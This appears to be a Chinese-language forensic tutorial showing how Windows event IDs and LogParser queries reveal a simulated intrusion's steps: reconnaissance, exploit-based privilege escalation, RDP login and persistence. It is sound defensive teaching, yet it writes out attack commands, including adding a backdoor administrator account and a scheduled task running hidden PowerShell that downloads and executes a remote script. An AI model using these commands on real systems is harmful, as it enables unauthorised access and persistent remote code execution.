有小伙伴问:网络上大部分windows系统日志分析都只是对恶意登录事件分析的案例,可以通过系统日志找到其他入侵痕迹吗?

答案肯定是可以的,当攻击者获取webshell后,会通过各种方式来执行系统命令。所有的web攻击行为会存留在web访问日志里,而执行操作系统命令的行为也会存在在系统日志。不同的攻击场景会产生不一样的系统日志,不同的Event ID代表了不同的意义,需要重点关注一些事件ID,分析入侵者在系统中留下的攻击痕迹。

我们通过一个攻击案例来进行windows日志分析,从日志里识别出攻击场景,发现恶意程序执行痕迹,甚至还原攻击者的行为轨迹。

1、信息收集

攻击者在获取webshell权限后,会尝试查询当前用户权限,收集系统版本和补丁信息,用来辅助权限提升。



whoami
systeminfo


Windows日志分析:

在本地安全策略中,需开启审核进程跟踪,可以跟踪进程创建/终止。关键进程跟踪事件和说明,如:



4688 创建新进程
4689 进程终止


Windows日志识别入侵痕迹_日志分析

我们通过LogParser做一个简单的筛选,得到Event ID 4688,也就是创建新进程的列表,可以发现用户Bypass,先后调用cmd执行whami和systeminfo。Conhost.exe进程主要是为命令行程序(cmd.exe)提供图形子系统等功能支持。



Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\11.evtx"
LogParser.exe -i:EVT "SELECT TimeGenerated,EventID,EXTRACT_TOKEN(Strings,1,'|') as UserName,EXTRACT_TOKEN(Strings,5,'|') as ProcessName FROM c:\11.evtx where EventID=4688"


Windows日志识别入侵痕迹_计划任务_02

2、权限提升

通过执行exp来提升权限,获取操作系统system权限,增加管理用户。



ms16-032.exe "whoami"
ms16-032.exe "net user test1 abc123! /add"
ms16-032.exe "net localgroup Administrators test1 /add"


Windows日志分析:

在本地安全策略中,需开启审核账户管理,关键账户管理事件和说明。如:



4720  创建用户
4732 已将成员添加到启用安全性的本地组


Windows日志识别入侵痕迹_系统日志_03

这里会涉及进程创建,主要关注账户创建和管理用户组变更。从Event ID 4720 ,系统新建了一个test用户,从Event ID 4732的两条记录变化,得到一个关键信息,本地用户test从user组提升到Administrators。

3、管理账号登录

在创建管理账户后,尝试远程登录到目标主机,获取敏感信息。



mstsc /v 10.1.1.188


Windows日志分析:

在本地安全策略中,需开启审核登录事件,关键登录事件和说明,如:



4624 登录成功
4625 登录失败


Windows日志识别入侵痕迹_安全策略_04



LogParser.exe -i:EVT "SELECT TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,8,'|') as EventType,EXTRACT_TOKEN(Strings,5,'|') as username,EXTRACT_TOKEN(Strings,18,'|') as Loginip FROM C:\3333.evtx where EventID=4624"


使用LogParser做一下分析,得到系统登录时间,登录类型10 也就是远程登录,登录用户 test,登录IP:10.1.1.1。

Windows日志识别入侵痕迹_日志分析_05

4、权限维持

通过创建计划任务执行脚本后门,以便下次直接进入,使用以下命令可以一键实现:



schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://10.1.1.1:8888/logo.txt\"\"\"))\""


Windows日志分析:

在本地安全策略中,需开启审核对象访问,关键对象访问事件,如:



4698  创建计划任务
4699 删除计划任务


Windows日志识别入侵痕迹_进程创建_06

这里涉及进程创建和对象访问事件,包括schtasks.exe进程的创建和Event ID 4698发现新建的计划任务。成功找到计划任务后门位置:

Windows日志识别入侵痕迹_安全策略_07